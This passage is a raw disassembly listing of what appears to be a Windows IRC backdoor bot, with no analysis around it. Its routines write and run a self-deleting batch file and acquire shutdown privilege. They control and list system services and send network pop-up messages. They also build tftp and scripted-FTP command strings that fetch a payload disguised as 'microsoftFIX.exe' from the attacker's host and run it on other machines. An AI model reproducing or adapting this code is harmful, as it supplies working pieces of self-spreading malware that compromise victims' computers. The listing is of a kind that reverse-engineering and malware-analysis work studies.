cl, [eax] cmp cl, 1Fh jg short loc_411D5A cmp cl, 9 jnz short loc_411D5D loc_411D5A: ; CODE XREF: sub_411D15+3Ej inc eax jmp short loc_411D4E ; --------------------------------------------------------------------------- loc_411D5D: ; CODE XREF: sub_411D15+43j ; sub_411D15+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_411D77 mov cl, [eax] cmp cl, 2Eh jz short loc_411D5D cmp cl, 21h jl short loc_411D5D loc_411D77: ; CODE XREF: sub_411D15+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA418 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_4172D0 add esp, 18h mov eax, esi pop esi leave retn sub_411D15 endp ; =============== S U B R O U T I N E ======================================= sub_411D9F proc near ; CODE XREF: sub_403038+3925p push esi push 0 call dword_445318 test eax, eax jz short loc_411DD6 push 1 call dword_445338 mov esi, eax test esi, esi jz short loc_411DD6 push edi push esi nop call near ptr 27D0642h push esi mov edi, eax call near ptr 27D0000h nop call dword_44539C mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_411DD6: ; CODE XREF: sub_411D9F+Bj ; sub_411D9F+19j xor eax, eax pop esi retn sub_411D9F endp ; =============== S U B R O U T I N E ======================================= sub_411DDA proc near ; CODE XREF: sub_403038+2BD8p arg_0 = dword ptr 4 push ebp push esi xor esi, esi push esi push offset aMirc_2 ; "mIRC" call dword_445354 mov ebp, eax cmp ebp, esi jz short loc_411E5A push ebx push edi push offset aMirc_3 ; "mIRC" push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 27E0000h nop push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 27D0B91h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_4171D0 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4453A4 push esi push 1 push 4C9h push ebp call dword_4453A4 push ebx nop call near ptr 25E0000h push edi nop call near ptr 267009Bh push 1 pop eax pop edi pop ebx jmp short loc_411E5C ; --------------------------------------------------------------------------- loc_411E5A: ; CODE XREF: sub_411DDA+14j xor eax, eax loc_411E5C: ; CODE XREF: sub_411DDA+7Ej pop esi pop ebp retn sub_411DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E5F proc near ; CODE XREF: ___:004029A1p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_445404 test eax, eax jz short loc_411EFE mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4DD358 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_411EFE lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 27F0000h push ebx mov ebx, dword_4DD2BC call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_411EFE lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 27E06F2h push esi call ebx loc_411EFE: ; CODE XREF: sub_411E5F+2Aj ; sub_411E5F+51j ... pop edi pop esi pop ebx leave retn sub_411E5F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 454h push esi xor esi, esi push 10h lea eax, [ebp-10h] push esi push eax call sub_417070 push 44h lea eax, [ebp-54h] push esi push eax call sub_417070 push dword ptr [ebp+0Ch] lea eax, [ebp-454h] mov dword ptr [ebp-54h], 44h mov dword ptr [ebp-28h], 1 push dword ptr [ebp+8] mov [ebp-24h], si push offset aSS_4 ; "%s %s" push 400h push eax call sub_4172D0 add esp, 2Ch lea eax, [ebp-10h] push eax lea eax, [ebp-54h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-454h] push esi push eax push dword ptr [ebp+8] nop call near ptr 267039Fh neg eax sbb eax, eax pop esi and eax, [ebp-8] leave retn ; =============== S U B R O U T I N E ======================================= sub_411F81 proc near ; CODE XREF: sub_403038+15F3p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_4133BB pop ecx pop ecx push 50005h push 6 call dword_445288 neg eax sbb eax, eax neg eax retn sub_411F81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411FA3 proc near ; CODE XREF: sub_403038+3B8Ap ; ___:004114CFp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_436C24, esi push edi jz short loc_411FC7 cmp dword_445418, esi jnz short loc_411FC7 push esi call sub_401000 pop ecx loc_411FC7: ; CODE XREF: sub_411FA3+13j ; sub_411FA3+1Bj call sub_40901C lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26D0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4171D0 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 2760000h mov edi, eax cmp edi, esi jbe loc_412127 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4171D0 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2720000h nop push edi call near ptr 267009Bh nop push 10h lea eax, [ebp+var_14] push esi push eax call sub_417070 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_417070 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_4DA61C mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 26A0797h nop push eax call near ptr 2680000h nop lea eax, [ebp+var_15C] push eax nop call near ptr 26B0C38h cmp eax, 0FFFFFFFFh jz short loc_4120CF lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 26B0AE4h loc_4120CF: ; CODE XREF: sub_411FA3+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4171D0 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2800000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 267039Fh loc_412127: ; CODE XREF: sub_411FA3+72j pop edi pop esi leave retn sub_411FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41212B proc near ; CODE XREF: sub_403038+54FDp var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_417070 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26F053Fh nop cmp [ebp+var_84], 2 jnz short loc_4121C1 push [ebp+arg_10] push [ebp+arg_C] call dword_4452C8 push edi push eax call dword_4452D8 test eax, eax jz short loc_4121B3 push [ebp+arg_10] push offset dword_4421C8 loc_41218C: ; CODE XREF: sub_41212B+94j lea eax, [ebp+var_294] push eax call sub_4171D0 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 20h jmp short loc_4121EB ; --------------------------------------------------------------------------- loc_4121B3: ; CODE XREF: sub_41212B+57j nop call near ptr 26908EFh push eax push offset unk_4421E4 jmp short loc_41218C ; --------------------------------------------------------------------------- loc_4121C1: ; CODE XREF: sub_41212B+3Fj lea eax, [ebp+var_294] push offset unk_44220C push eax call sub_4171D0 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 1Ch loc_4121EB: ; CODE XREF: sub_41212B+86j pop edi leave retn sub_41212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4121EE proc near ; CODE XREF: ___:0040AEEBp ; ___:0040C86Ep var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417070 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_445388 push [ebp+arg_BC] mov [ebp+var_C], eax call dword_445348 push edi push 1 push 2 mov [ebp+var_E], ax call dword_4453C8 mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+arg_BC], esi jz loc_4122F1 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4452F0 cmp eax, 0FFFFFFFFh jz loc_4122F1 mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_445360 mov esi, offset aMicrosoftfix_e ; "microsoftFIX.exe" push esi push esi push [ebp+arg_0] call sub_40267D pop ecx mov edi, 190h push eax push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_4172D0 movzx eax, word ptr dword_4D3010 add esp, 18h push esi push esi push eax push [ebp+arg_0] call sub_40267D pop ecx push eax push offset aEchoOpenSDOE_1 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_4172D0 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_BC] call dword_445398 cmp eax, 0FFFFFFFFh jnz short loc_4122F5 loc_4122F1: ; CODE XREF: sub_4121EE+56j ; sub_4121EE+6Cj xor al, al jmp short loc_412319 ; --------------------------------------------------------------------------- loc_4122F5: ; CODE XREF: sub_4121EE+101j push 0 lea eax, [ebp+var_5A0] push ebx push eax push [ebp+arg_BC] call dword_445360 push [ebp+arg_BC] call dword_4453E0 mov al, 1 loc_412319: ; CODE XREF: sub_4121EE+105j pop edi pop esi pop ebx leave retn sub_4121EE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp-94h] mov dword ptr [ebp-94h], 94h push eax call near ptr 26F053Fh nop cmp dword ptr [ebp-90h], 4 jnz short loc_412374 cmp dword ptr [ebp-8Ch], 0 jnz short loc_41235D push 1 pop eax cmp [ebp-84h], eax jnz short loc_412374 leave retn ; --------------------------------------------------------------------------- loc_41235D: ; CODE XREF: ___:0041234Ej cmp dword ptr [ebp-8Ch], 0Ah jz short loc_41236F cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_412374 loc_41236F: ; CODE XREF: ___:00412364j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_412374: ; CODE XREF: ___:00412345j ; ___:00412359j ... push esi push edi push offset aNetapi32_dll_0 ; "netapi32.dll" call near ptr 2690610h nop mov esi, eax push offset aNetmessagebu_0 ; "NetMessageBufferSend" push esi nop call near ptr 26A0000h push 32h mov edi, eax push dword ptr [ebp+8] lea eax, [ebp-1C0h] push eax call sub_419D00 push 32h lea eax, [ebp-15Ch] push dword ptr [ebp+0Ch] push eax call sub_419D00 push 32h lea eax, [ebp-0F8h] push dword ptr [ebp+10h] push eax call sub_419D00 lea eax, [ebp-0F8h] push eax call sub_41A800 shl eax, 1 push eax lea eax, [ebp-0F8h] push eax lea eax, [ebp-15Ch] push eax lea eax, [ebp-1C0h] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 2801179h mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123FE proc near ; CODE XREF: ___:00402785p ; ___:0040C7BDp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 26C05FFh push eax call sub_417B00 pop ecx call sub_417B10 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_433480 call sub_41915C sub esi, eax mov eax, esi pop esi leave retn sub_4123FE endp ; =============== S U B R O U T I N E ======================================= sub_41243B proc near ; CODE XREF: sub_403038+261Dp ; sub_403038+2680p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_4124A0 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4422E0[esi] push edi push eax call sub_4124C2 add esp, 14h test eax, eax jnz short loc_412483 push edi push off_4422DC[esi] mov esi, offset dword_4DACE0 push offset unk_4423A0 push esi call sub_4171D0 add esp, 10h jmp short loc_4124BD ; --------------------------------------------------------------------------- loc_412483: ; CODE XREF: sub_41243B+2Aj push eax call sub_412564 push eax push edi mov esi, offset dword_4DACE0 push offset unk_4423BC push esi call sub_4171D0 add esp, 14h jmp short loc_4124BD ; --------------------------------------------------------------------------- loc_4124A0: ; CODE XREF: sub_41243B+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DACE0 push off_4422D8[eax*4] push offset unk_4423E8 push esi call sub_4171D0 add esp, 0Ch loc_4124BD: ; CODE XREF: sub_41243B+46j ; sub_41243B+63j mov eax, esi pop edi pop esi retn sub_41243B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124C2 proc near ; CODE XREF: sub_41243B+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_44533C mov edi, eax cmp edi, ebx jnz short loc_4124E9 call near ptr 26908EFh nop mov ebx, eax jmp short loc_41255E ; --------------------------------------------------------------------------- loc_4124E9: ; CODE XREF: sub_4124C2+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_445224 mov esi, eax cmp esi, ebx jnz short loc_412509 nop call near ptr 26908EFh mov ebx, eax jmp short loc_412556 ; --------------------------------------------------------------------------- loc_412509: ; CODE XREF: sub_4124C2+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_41253C cmp eax, 3 jz short loc_41252D jle short loc_41254F cmp eax, 6 jg short loc_41254F lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_445290 jmp short loc_412543 ; --------------------------------------------------------------------------- loc_41252D: ; CODE XREF: sub_4124C2+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_44522C jmp short loc_412543 ; --------------------------------------------------------------------------- loc_41253C: ; CODE XREF: sub_4124C2+4Dj push esi call dword_445294 loc_412543: ; CODE XREF: sub_4124C2+69j ; sub_4124C2+78j test eax, eax jnz short loc_41254F call near ptr 26908EFh nop mov ebx, eax loc_41254F: ; CODE XREF: sub_4124C2+54j ; sub_4124C2+59j ... push esi call dword_445240 loc_412556: ; CODE XREF: sub_4124C2+45j push edi call dword_445240 pop esi loc_41255E: ; CODE XREF: sub_4124C2+25j mov eax, ebx pop edi pop ebx leave retn sub_4124C2 endp ; =============== S U B R O U T I N E ======================================= sub_412564 proc near ; CODE XREF: sub_41243B+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_412619 jz loc_412612 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_4125DC jz short loc_4125D2 mov ecx, eax sub ecx, 3 jz short loc_4125C8 dec ecx dec ecx jz short loc_4125BE dec ecx jz short loc_4125B4 sub ecx, 51h jz short loc_4125AA sub ecx, 24h jnz loc_41268F ; default ; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_412681 ; --------------------------------------------------------------------------- loc_4125AA: ; CODE XREF: sub_412564+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_412681 ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412564+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_412681 ; --------------------------------------------------------------------------- loc_4125BE: ; CODE XREF: sub_412564+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_412681 ; --------------------------------------------------------------------------- loc_4125C8: ; CODE XREF: sub_412564+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_412681 ; --------------------------------------------------------------------------- loc_4125D2: ; CODE XREF: sub_412564+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_412681 ; --------------------------------------------------------------------------- loc_4125DC: ; CODE XREF: sub_412564+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_41260B dec ecx jz short loc_412604 dec ecx jz short loc_4125FD dec ecx jnz loc_41268F ; default ; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_412681 ; --------------------------------------------------------------------------- loc_4125FD: ; CODE XREF: sub_412564+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_412681 ; --------------------------------------------------------------------------- loc_412604: ; CODE XREF: sub_412564+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_412681 ; --------------------------------------------------------------------------- loc_41260B: ; CODE XREF: sub_412564+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_412681 ; --------------------------------------------------------------------------- loc_412612: ; CODE XREF: sub_412564+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_412681 ; --------------------------------------------------------------------------- loc_412619: ; CODE XREF: sub_412564+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_41268F ; default ; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16 jz short loc_41267C lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_41268F ; default ; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_4126D0[ecx] jmp off_4126A8[ecx*4] ; switch jump loc_41263D: ; DATA XREF: ___:off_4126A8o push offset aTheSpecifiedDa ; jumptable 00412636 case 7 jmp short loc_412681 ; --------------------------------------------------------------------------- loc_412644: ; CODE XREF: sub_412564+D2j ; DATA XREF: ___:off_4126A8o push offset aTheServiceDepe ; jumptable 00412636 case 17 jmp short loc_412681 ; --------------------------------------------------------------------------- loc_41264B: ; CODE XREF: sub_412564+D2j ; DATA XREF: ___:off_4126A8o push offset aTheServiceDe_0 ; jumptable 00412636 case 10 jmp short loc_412681 ; --------------------------------------------------------------------------- loc_412652: ; CODE XREF: sub_412564+D2j ; DATA XREF: ___:off_4126A8o push offset aTheServiceHasB ; jumptable 00412636 case 0 jmp short loc_412681 ; --------------------------------------------------------------------------- loc_412659: ; CODE XREF: sub_412564+D2j ; DATA XREF: ___:off_4126A8o push offset aTheSpecified_0 ; jumptable 00412636 case 2 jmp short loc_412681 ; --------------------------------------------------------------------------- loc_412660: ; CODE XREF: sub_412564+D2j ; DATA XREF: ___:off_4126A8o push offset aTheServiceCoul ; jumptable 00412636 case 11 jmp short loc_412681 ; --------------------------------------------------------------------------- loc_412667: ; CODE XREF: sub_412564+D2j ; DATA XREF: ___:off_4126A8o push offset aTheServiceHa_0 ; jumptable 00412636 case 14 jmp short loc_412681 ; --------------------------------------------------------------------------- loc_41266E: ; CODE XREF: sub_412564+D2j ; DATA XREF: ___:off_4126A8o push offset aTheRequested_1 ; jumptable 00412636 case 3 jmp short loc_412681 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_412564+D2j ; DATA XREF: ___:off_4126A8o push offset aTheServiceHasN ; jumptable 00412636 case 4 jmp short loc_412681 ; --------------------------------------------------------------------------- loc_41267C: ; CODE XREF: sub_412564+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_412681: ; CODE XREF: sub_412564+41j ; sub_412564+4Bj ... push offset dword_4DA620 call sub_4171D0 pop ecx pop ecx jmp short loc_4126A2 ; --------------------------------------------------------------------------- loc_41268F: ; CODE XREF: sub_412564+36j ; sub_412564+89j ... push eax ; default ; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA620 call sub_4171D0 add esp, 0Ch loc_4126A2: ; CODE XREF: sub_412564+129j mov eax, offset dword_4DA620 retn sub_412564 endp ; --------------------------------------------------------------------------- off_4126A8 dd offset loc_412652 ; DATA XREF: sub_412564+D2r dd offset loc_412659 ; jump table for switch statement dd offset loc_41266E dd offset loc_412675 dd offset loc_41263D dd offset loc_41264B dd offset loc_412660 dd offset loc_412667 dd offset loc_412644 dd offset loc_41268F byte_4126D0 db 0, 9, 1, 2 ; DATA XREF: sub_412564+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4126E2 proc near ; CODE XREF: sub_403038+2648p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_44533C push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 14h loc_41271A: ; CODE XREF: sub_4126E2+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_445308 test eax, eax jnz short loc_412754 nop call near ptr 26908EFh cmp eax, 0EAh jnz loc_412808 loc_412754: ; CODE XREF: sub_4126E2+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_4127FF lea esi, [ebp+var_188] loc_412765: ; CODE XREF: sub_4126E2+117j mov eax, [esi+8] dec eax jz short loc_4127AE dec eax jz short loc_4127A7 dec eax jz short loc_4127A0 dec eax jz short loc_412799 dec eax jz short loc_412792 dec eax jz short loc_41278B dec eax jz short loc_412784 push offset aUnknown_1 ; " Unknown" jmp short loc_4127B3 ; --------------------------------------------------------------------------- loc_412784: ; CODE XREF: sub_4126E2+99j push offset aPaused_0 ; " Paused" jmp short loc_4127B3 ; --------------------------------------------------------------------------- loc_41278B: ; CODE XREF: sub_4126E2+96j push offset aPausing ; " Pausing" jmp short loc_4127B3 ; --------------------------------------------------------------------------- loc_412792: ; CODE XREF: sub_4126E2+93j push offset aContinuing ; " Continuing" jmp short loc_4127B3 ; --------------------------------------------------------------------------- loc_412799: ; CODE XREF: sub_4126E2+90j push offset aRunning ; " Running" jmp short loc_4127B3 ; --------------------------------------------------------------------------- loc_4127A0: ; CODE XREF: sub_4126E2+8Dj push offset aStoping ; " Stoping" jmp short loc_4127B3 ; --------------------------------------------------------------------------- loc_4127A7: ; CODE XREF: sub_4126E2+8Aj push offset aStarting ; " Starting" jmp short loc_4127B3 ; --------------------------------------------------------------------------- loc_4127AE: ; CODE XREF: sub_4126E2+87j push offset aStopped ; " Stopped" loc_4127B3: ; CODE XREF: sub_4126E2+A0j ; sub_4126E2+A7j ... lea eax, [ebp+var_20] push eax call sub_4171D0 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_1 ; "%s: %s (%s)" push eax call sub_4171D0 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_412765 loc_4127FF: ; CODE XREF: sub_4126E2+77j cmp [ebp+var_8], ebx jnz loc_41271A loc_412808: ; CODE XREF: sub_4126E2+6Cj push [ebp+var_C] call dword_445240 xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_4126E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41281F proc near ; CODE XREF: sub_403038+2728p ; sub_403038+273Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_4128B8 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_412848 dec eax jnz short loc_412898 push edi push 0 call sub_4129F1 pop ecx pop ecx jmp short loc_412894 ; --------------------------------------------------------------------------- loc_412848: ; CODE XREF: sub_41281F+18j cmp [ebp+arg_8], 0 jnz short loc_412886 push 24h push edi call sub_4185C0 pop ecx test eax, eax pop ecx jnz short loc_412886 push 57h pop eax loc_41285F: ; CODE XREF: sub_41281F+77j push eax call sub_4131C9 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DA8DC push off_4422D8[eax*4] push offset unk_442960 push esi call sub_4171D0 add esp, 18h jmp short loc_4128D8 ; --------------------------------------------------------------------------- loc_412886: ; CODE XREF: sub_41281F+2Dj ; sub_41281F+3Bj push [ebp+arg_8] push edi push 0 call sub_412945 add esp, 0Ch loc_412894: ; CODE XREF: sub_41281F+27j test eax, eax jnz short loc_41285F loc_412898: ; CODE XREF: sub_41281F+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DA8DC push off_4422DC[eax*4] push offset dword_442944 push esi call sub_4171D0 add esp, 10h jmp short loc_4128D8 ; --------------------------------------------------------------------------- loc_4128B8: ; CODE XREF: sub_41281F+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DA8DC lea eax, [eax+eax*2] push off_4422D8[eax*4] push offset unk_44298C push esi call sub_4171D0 add esp, 0Ch loc_4128D8: ; CODE XREF: sub_41281F+65j ; sub_41281F+97j mov eax, esi pop edi pop esi pop ebp retn sub_41281F endp ; --------------------------------------------------------------------------- push esi xor esi, esi cmp [esp+8], esi jnz short loc_4128EB xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4128EB: ; CODE XREF: ___:004128E5j push ebx push ebp push edi push esi push esi push esi mov edi, dword_4DD330 push esi push 0FFFFFFFFh mov ebx, 400h push dword ptr [esp+28h] push ebx push esi call edi test byte_4DAADC, 1 mov ebp, eax jnz short loc_412928 or byte_4DAADC, 1 lea eax, [ebp+1] push eax call sub_419BB0 pop ecx mov dword_4DA87C, eax loc_412928: ; CODE XREF: ___:00412910j push esi push esi push ebp push dword_4DA87C push 0FFFFFFFFh push dword ptr [esp+28h] push ebx push esi call edi mov eax, dword_4DA87C pop edi pop ebp pop ebx pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412945 proc near ; CODE XREF: sub_41281F+6Dp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_4129B0 push [ebp+arg_4] mov edi, eax call sub_4129B0 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_4185C0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_4129B0 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_44523C pop edi leave retn sub_412945 endp ; =============== S U B R O U T I N E ======================================= sub_4129B0 proc near ; CODE XREF: sub_412945+Ap ; sub_412945+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_4129BD pop ebp retn ; --------------------------------------------------------------------------- loc_4129BD: ; CODE XREF: sub_4129B0+9j push ebx push esi mov esi, dword_4DD3A8 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_419BB0 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_4129B0 endp ; =============== S U B R O U T I N E ======================================= sub_4129F1 proc near ; CODE XREF: sub_41281F+20p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4129B0 push 